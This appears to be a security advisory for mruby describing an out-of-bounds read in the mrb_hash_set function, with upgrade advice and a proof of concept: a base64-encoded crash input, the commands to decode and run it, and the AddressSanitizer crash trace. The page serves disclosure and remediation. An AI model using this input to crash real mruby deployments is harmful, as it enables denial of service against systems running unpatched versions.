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The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade mruby/mruby
to version 3.2.0 or higher.
Affected versions of this package are vulnerable to Out-of-bounds Read due to missing checks in the in the mrb_hash_set
function.
$ echo -ne "e30KWyoqMCxtOjBdBHM9MDYudGl0ZXN7My7+////c3slXSN7W11lYWsKYj17fQpbKiowLG06MF3/
f///jn11EHRpbC1icmWeawpiPXt99FsqKkBidWYwXX9zPTB9XX1hLiF+IBD///wAAPoAoqKion19
AACA/wENXH9dXGM/ICphID0gKCkgYW1iZCVcX0JO//4AACA8ACpbAAB7KQ==" | base64 -d > poc
$ cat poc
{}
[**0,m:0]s=06.tites{3.����s{%]#{[]eak
b={}
[**0,m:0]����}util-bre�k
\]\c? *a = () ambd%\_BN�� <*[{)#
$ ./bin/mruby ./poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1898947==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 (pc 0x00000059dca6 bp 0x7ffd8e5ac2b0 sp 0x7ffd8e5ab390 T0)
==1898947==The signal is caused by a READ memory access.
==1898947==Hint: address points to the zero page.
#0 0x59dca6 in mrb_check_frozen /root/fuzz/mruby/include/mruby.h:1418:7
#1 0x59dca6 in hash_modify /root/fuzz/mruby/src/hash.c:1154:3
#2 0x59dca6 in mrb_hash_set /root/fuzz/mruby/src/hash.c:1242:3
#3 0x4e5273 in mrb_vm_exec /root/fuzz/mruby/src/vm.c:2771:9
#4 0x4d77de in mrb_vm_run /root/fuzz/mruby/src/vm.c:1128:12
#5 0x5e83a2 in mrb_load_exec /root/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6883:7
#6 0x5e9293 in mrb_load_detect_file_cxt /root/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6926:12
#7 0x4cb88b in main /root/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#8 0x7fb293420564 in __libc_start_main csu/../csu/libc-start.c:332:16
#9 0x41d7ad in _start (/root/fuzz/mruby/bin/mruby+0x41d7ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/mruby/include/mruby.h:1418:7 in mrb_check_frozen
==1898947==ABORTING